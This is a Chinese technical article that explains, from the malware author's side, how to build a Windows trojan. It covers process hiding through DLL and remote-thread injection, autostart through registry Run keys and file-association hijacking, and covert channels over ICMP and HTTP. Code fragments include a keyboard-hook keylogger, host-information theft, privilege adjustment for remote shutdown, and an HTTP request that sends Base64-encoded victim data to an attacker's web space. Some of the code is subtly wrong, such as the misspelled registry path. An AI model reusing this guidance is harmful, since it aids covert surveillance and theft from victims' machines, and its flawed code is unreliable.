引言
近年來,黑客攻擊層出不窮,對網(wǎng)絡(luò)安全構(gòu)成了極大的威脅。木馬是黑客的主要攻擊手段之一,它通過滲透進(jìn)入對方主機(jī)系統(tǒng),從而實(shí)現(xiàn)對目標(biāo)主機(jī)的遠(yuǎn)程操作,破壞力相當(dāng)之大。
到目前為止,木馬的發(fā)展已經(jīng)歷了五代:
第一代木馬只是實(shí)現(xiàn)簡單的密碼竊取、發(fā)送等,在隱藏和通信方面均無特別之處。
第二代木馬的典型代表是冰河,它以文件關(guān)聯(lián)方式啟動,通過電子郵件傳送信息,在木馬技術(shù)發(fā)展史上開辟了新的篇章。
第三代木馬的信息傳輸方式有所突破,采用ICMP協(xié)議,增加了查殺的難度。
第四代木馬在進(jìn)程隱藏方面獲得了重大突破,采用插入內(nèi)核的嵌入方式、利用遠(yuǎn)程插入線程技術(shù)、嵌入DLL線程、或掛接PSAPI等,實(shí)現(xiàn)木馬程序的隱藏,利用反彈端口技術(shù)突破防火墻限制,在Windows NT/2000下取得了良好的隱藏效果。
第五代木馬與病毒緊密結(jié)合,利用操作系統(tǒng)漏洞,直接實(shí)現(xiàn)感染傳播的目的,而不必象以前的木馬那樣需要欺騙用戶主動激活,例如最近新出現(xiàn)的類似沖擊波病毒的木馬—噩夢II。
木馬的關(guān)鍵技術(shù)
木馬基于C/S模式,服務(wù)器端程序運(yùn)行于被控制的主機(jī)上,客戶端完成控制功能。設(shè)計木馬時,需考慮幾個關(guān)鍵因素:首先要具有深度的隱蔽性,保證木馬的隱蔽運(yùn)行和啟動,其次要能順利實(shí)現(xiàn)客戶端與服務(wù)器端的通信,最后還要根據(jù)需要實(shí)現(xiàn)其他功能。
一、木馬的隱藏
有兩種方法可以隱藏木馬:一種是DLL 木馬,它讓木馬消失在進(jìn)程列表里,但程序的進(jìn)程仍然存在;另一種方法則是線程注入式木馬,它讓程序徹底消失,不以進(jìn)程或服務(wù)方式工作。
1、DLL木馬
只要把木馬服務(wù)器端的程序注冊為一個服務(wù),系統(tǒng)就不會再把它當(dāng)作進(jìn)程,程序便會從任務(wù)列表中消失,按下Ctrl+Alt+Delete后,也就看不到該程序。
此方法首先要裝載Kernel32.dll,然后在該DLL中確定函數(shù)RegisterServiceProcess()的地址進(jìn)行調(diào)用,但只適用于Windows9x/Me的系統(tǒng),Windows NT/2000通過服務(wù)管理器依然能夠發(fā)現(xiàn)在系統(tǒng)中注冊過的服務(wù)。
在Windows NT/2000下可采用過濾進(jìn)程的方法(即API攔截技術(shù)),通過建立一個后臺系統(tǒng)鉤子(hook),攔截PSAPI的EnumProcessModules等相關(guān)函數(shù)控制進(jìn)程和服務(wù)的遍歷調(diào)用,當(dāng)檢測到木馬程序的服務(wù)器端進(jìn)程時直接跳過,從而實(shí)現(xiàn)進(jìn)程的隱藏。這種方法應(yīng)用廣泛,除了用于進(jìn)程隱藏以外,還廣泛應(yīng)用于諸多即時軟件,如金山詞霸就使用類似方法,攔截TextOutA、TextOutW函數(shù),截獲屏幕輸出,實(shí)現(xiàn)即時翻譯。
DLL文件是Windows的基礎(chǔ),所有的API函數(shù)都是在DLL中實(shí)現(xiàn)的。DLL由多個功能函數(shù)構(gòu)成,入口函數(shù)是DllMain,它并不能獨(dú)立運(yùn)行,一般由進(jìn)程加載并調(diào)用。由于DLL文件不能獨(dú)立運(yùn)行,所以在進(jìn)程列表中并不會出現(xiàn)DLL,而只出現(xiàn)加載進(jìn)程。運(yùn)行DLL文件隱藏進(jìn)程的最簡單方法是利用Rundll32.exe,但也很容易被識破,比較高級的做法是使用特洛伊DLL,它使用木馬DLL替換常用的DLL文件,通過函數(shù)轉(zhuǎn)發(fā)器將正常的調(diào)用轉(zhuǎn)發(fā)給原DLL,截獲并處理特定的消息。但是,WINDOWS操作系統(tǒng)對此具有相當(dāng)?shù)姆婪,Win2000的system32目錄下有一個dllcache目錄,存放著大量的DLL文件(還包括一些重要的exe文件),一旦操作系統(tǒng)發(fā)現(xiàn)被保護(hù)的DLL文件被篡改,就會自動從dllcache中恢復(fù)該文件。此外,特洛伊DLL方法本身也存在一些漏洞(如修復(fù)安裝、安裝補(bǔ)丁、升級系統(tǒng)、檢查數(shù)字簽名等都可能導(dǎo)致特洛伊DLL失效),并不是DLL木馬的最優(yōu)選擇。盡管如此,仍有很多方法可以繞過DLL保護(hù)(如先更改dllcache目錄中的備份再修改DLL文件、或利用KnownDLLs鍵值更改DLL的默認(rèn)啟動路徑等)。
2、線程注入式木馬
更好的隱藏方式是使木馬程序不以進(jìn)程和服務(wù)的方式存在,而是完全溶入系統(tǒng)內(nèi)核。因此,在設(shè)計時,我們不應(yīng)把它做成一個應(yīng)用程序,而是做成一個可以注入應(yīng)用程序地址空間的線程。該應(yīng)用程序必須確保絕對安全,這樣才能達(dá)到徹底隱藏的效果,增加查殺的難度。線程注入式木馬采用動態(tài)嵌入技術(shù)將自己的代碼嵌入正在運(yùn)行的進(jìn)程中。
Windows中每個進(jìn)程都有自己的私有內(nèi)存空間,其他進(jìn)程不得對該私有空間進(jìn)行操作,但實(shí)際上,有很多方法可操作私有空間。動態(tài)嵌入技術(shù)很多,如窗口Hook、掛接API、遠(yuǎn)程線程等,遠(yuǎn)程線程技術(shù)相對簡單,只要有基本的進(jìn)程線程和動態(tài)鏈接庫的知識就可以輕松實(shí)現(xiàn)。
遠(yuǎn)程線程技術(shù)指的是通過在一個遠(yuǎn)程進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入該進(jìn)程的內(nèi)存地址空間。可以通過CreateRemoteThread函數(shù)在一個遠(yuǎn)程進(jìn)程內(nèi)創(chuàng)建遠(yuǎn)程線程,被創(chuàng)建的遠(yuǎn)程線程可以共享遠(yuǎn)程進(jìn)程的地址空間,這樣就可以通過該線程進(jìn)入遠(yuǎn)程進(jìn)程的內(nèi)存地址空間,從而擁有了遠(yuǎn)程進(jìn)程相當(dāng)?shù)臋?quán)限,如在遠(yuǎn)程進(jìn)程內(nèi)部啟動一個DLL木馬,甚至可以隨意篡改其中的數(shù)據(jù)。遠(yuǎn)程線程技術(shù)的關(guān)鍵在于要將線程函數(shù)執(zhí)行體及其參數(shù)復(fù)制到遠(yuǎn)程進(jìn)程空間中,否則遠(yuǎn)程線程會在執(zhí)行時因找不到參數(shù)而報錯。
二、木馬服務(wù)器端程序的自加載運(yùn)行
程序自運(yùn)行的常見方法有:加載程序到啟動組;將程序啟動路徑寫到注冊表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run子鍵(以及RunOnce、RunService、RunOnceService等);修改Boot.ini;通過注冊表中的輸入法鍵值直接掛接啟動;修改Explorer.exe啟動參數(shù)以及在win.ini和system.ini中的load節(jié)中添加啟動項;在Autoexec.bat中添加程序等。
下面的程序通過修改注冊表中HKEY_LOCAL_MACHINE\ Microsoft\ SOFTWARE\Windows\CurrentVersions\Run的鍵值實(shí)現(xiàn)木馬的自啟動:
RegCreateKeyEx(
HKEY_LOCAL_MACHINE, // handle to open key
" SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN", // subkey
0,NULL, // class string
REG_OPTION_NON_VOLATILE, // special options
KEY_READ|KEY_WRITE, // desired security access
NULL,&mKeyClass,&dwDisposition // disposition value buffer
);
RegSetValueEx(mKeyClass,NULL,0,REG_SZ,
(const unsigned char *)Name, lstrlen(PathBuf)+1);
RegCloseKey(mKeyClass);
冰河木馬就采用了文件關(guān)聯(lián)實(shí)現(xiàn)木馬的啟動。以文本文件關(guān)聯(lián)為例,注冊表中HKEY_CLASSES_ROOT\txtfile\shell\open\command的值是文本文件(*.txt文件)的關(guān)聯(lián)處,缺省為“%SystemRoot%\system32\NOTEPAD.EXE %1”,將其改為木馬程序,那么,以后打開文本文件時就會先執(zhí)行木馬程序,木馬啟動后,再運(yùn)行notepad.exe打開指定文件。這個過程在一般人來看,好像什么事也沒發(fā)生過。
DLL木馬替換了系統(tǒng)原有的動態(tài)連接庫,系統(tǒng)裝載這些連接庫時就啟動了木馬。這種啟動方式相當(dāng)隱蔽,著名的GINA木馬就是通過替換系統(tǒng)的GINA程序,在木馬DLL中導(dǎo)出系統(tǒng)函數(shù),實(shí)現(xiàn)系統(tǒng)正常功能,然后再根據(jù)需要實(shí)現(xiàn)自身的木馬功能。
三、木馬程序的通信
木馬程序傳遞數(shù)據(jù)的方法很多,最常見是用TCP、UDP協(xié)議,但這種方法的隱蔽性比較差,容易查到,例如,用netstat命令就可以查看到當(dāng)前活動的TCP、UDP連接。
但仍有很多手段躲避這種偵察,筆者曾嘗試過以下兩種方法:
一種方法是將木馬的通信連接綁定在通用端口上,通過這些服務(wù)端口發(fā)送信息。例如:將被攻擊主機(jī)的信息以電子郵件的形式傳送到攻擊者的電子信箱或上傳到某FTP主機(jī)上,也可用免費(fèi)主頁空間作信息中轉(zhuǎn)站。利用FTP協(xié)議將信息上傳到FTP站點(diǎn)的做法很容易被跟蹤,利用SMTP協(xié)議將信息通過電子郵件方式回傳不易被反跟蹤,最多只能找到攻擊者信箱,但防火墻和一些殺毒軟件發(fā)現(xiàn)本地有郵件發(fā)送時,可能會將其屏蔽并提示用戶。利用HTTP協(xié)議上傳信息對攻擊者相當(dāng)安全,防火墻無法分辨?zhèn)魉偷男畔⑹怯脩羯暇W(wǎng)瀏覽的交互信息還是木馬發(fā)送的個人信息,這種方法將在后面進(jìn)行詳細(xì)介紹。但是,這些手段都要通過建立TCP連接傳遞命令和數(shù)據(jù)的,所以存在一個致命漏洞:木馬在等待和運(yùn)行的過程中,始終有一個和外界聯(lián)系的端口打開著。
另一種辦法是使用ICMP協(xié)議。ICMP報文由系統(tǒng)內(nèi)核或進(jìn)程直接處理而不通過端口,如果木馬將自己偽裝成一個Ping進(jìn)程,系統(tǒng)就會將ICMP_ECHOREPLY(Ping的回應(yīng)包)的監(jiān)聽、處理權(quán)交給木馬進(jìn)程,一旦事先約定好的ICMP_ECHOREPLY包出現(xiàn)(這樣的包經(jīng)過修改ICMP包頭,加入了木馬的控制字段),木馬就會接受、分析并從報文中解析出命令和數(shù)據(jù)。防火墻一般不會對ICMP_ECHOREPLY報文進(jìn)行過濾,因?yàn)檫^濾ICMP_ECHOREPLY報文就意味著主機(jī)無法對外進(jìn)行Ping等路由診斷操作。
DLL木馬的功能實(shí)現(xiàn)
木馬的主要功能包括:獲取擊鍵記錄、獲取主機(jī)信息、上傳主機(jī)信息以及接受控制端命令遠(yuǎn)程關(guān)機(jī)等。
1、在主程序中設(shè)置鉤子:
實(shí)現(xiàn)記錄按鍵的方法主要利用鍵盤鉤子和通過設(shè)計低層鍵盤驅(qū)動程序?qū)崿F(xiàn),使用鍵盤鉤子實(shí)現(xiàn)的代碼如下:
SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,g_module,0);
其中KeyboardProc是回調(diào)函數(shù):
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam);
if(code==HC_ACTION)
{
EVENTMSG *pEvt=(EVENTMSG *)lParam;
if(pEvt->message==WM_KEYDOWN)
{
…//判斷是否擊鍵,是則記錄到文件中
}
}
return CallNextHookEx(g_hLogHook,code,wParam,lParam);
}
2、獲取主機(jī)信息(包括主機(jī)名、IP地址、操作系統(tǒng)版本等):
WORD wVersionRequested = MAKEWORD(1, 1);
WSADATA wsaData;
WSAStartup(wVersionRequested, &wsaData);
char hostname[256];
int res = gethostname(hostname, sizeof(hostname)); //獲取主機(jī)名
hostent* pHostent = gethostbyname(hostname); //獲取主機(jī)IP地址
hostent& he = *pHostent;
sockaddr_in sa;
memcpy ( &sa.sin_addr.s_addr, he.h_addr_list[0],he.h_length);
lstrcpy(&MyIP[0] , inet_ntoa(sa.sin_addr));
WSACleanup();
dwVersion = GetVersion(); //得到WINDOWS的版本號
dwWindowsMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion)));
dwWindowsMinorVersion = (DWORD)(HIBYTE(LOWORD(dwVersion)));
if (dwVersion < 0x80000000) // 是Windows NT系統(tǒng)
dwBuild = (DWORD)(HIWORD(dwVersion));
else if (dwWindowsMajorVersion < 4) // 是Win32系統(tǒng)
dwBuild = (DWORD)(HIWORD(dwVersion) & ~0x8000);
else // 是Windows 95系統(tǒng)
dwBuild = 0;
3、遠(yuǎn)程關(guān)機(jī):
當(dāng)木馬程序接收到關(guān)機(jī)命令時,執(zhí)行關(guān)機(jī)操作,需要提升權(quán)限,否則系統(tǒng)認(rèn)為權(quán)限不夠?qū)⒔蛊鋱?zhí)行。
提升權(quán)限:
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if ( ! OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
return;
LookupPrivilegeValue( NULL, SE_SHUTDOWN_NAME, &sedebugnameValue );
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )
CloseHandle( hToken );
關(guān)機(jī):
ExitWindowsEx(EWX_SHUTDOWN, 0);
4、上傳主機(jī)信息:
木馬獲取主機(jī)信息之后,將其回傳到攻擊者主機(jī)、郵箱或主頁空間。
上傳到主頁空間要使用HTTP協(xié)議,構(gòu)造協(xié)議包如下:
char header[1324]="GET HTTP://";
char html[]="HTTP/1.0\r\n Accept:*/*\r\nAccept-language:ZH-cn\r\n
User-Agent:Mozilla/4.0(compatible,MSIE,windows95)\r\nhost:";
char hend[]="\r\nproxy-connection:keep-alive\r\n\r\n";
然后填充信息:
lstrcat(header,hmyip[0]);// hmyip即為攻擊者的主頁空間地址
lstrcat(header,"/cgi-bin/fh.cgi?");
lstrcat(header,str); //str就是要上傳的信息,需要先經(jīng)過Base64編碼
lstrcat(header,html);
lstrcat(header,hmyip[0]);
lstrcat(header,hend);
構(gòu)造好協(xié)議包之后,利用socket通信將該包發(fā)給服務(wù)器即可。這種方法安全隱蔽,防火墻無法判斷出傳送的數(shù)據(jù)是否合法。
5、新的傳播方式:以往的木馬在傳播方式上缺乏十分有效的手段,主要利用社會工程學(xué)知識誘騙用戶點(diǎn)擊鏈接,或?qū)⒛抉R程序與其他程序捆綁在一起,欺騙用戶執(zhí)行程序。隨著人們安全意識的不斷提高,這種方法已經(jīng)越來越難奏效。病毒的傳播方式啟發(fā)木馬的設(shè)計者利用操作系統(tǒng)漏洞(如WINDOWS系統(tǒng)下的緩沖區(qū)溢出漏洞),將木馬代碼寫入SHELLCODE,只要通過遠(yuǎn)程向目標(biāo)主機(jī)發(fā)送一個數(shù)據(jù)包,目標(biāo)主機(jī)就會發(fā)生緩沖區(qū)溢出,代碼跳轉(zhuǎn)執(zhí)行SHELLCODE,將木馬植入目標(biāo)主機(jī),無需用戶介入。沖擊波病毒就是利用了WINDOWS系統(tǒng)的RPC漏洞。
結(jié)束語
“道高一尺、魔高一丈”,攻擊與防御是相輔相承的關(guān)系,攻擊手段的進(jìn)步最終必然導(dǎo)致防御技術(shù)的提高,而為了突破防御能力增強(qiáng)的系統(tǒng),攻擊者又會找到新的攻擊方式,木馬技術(shù)也將隨之得以不斷的擴(kuò)充和發(fā)展。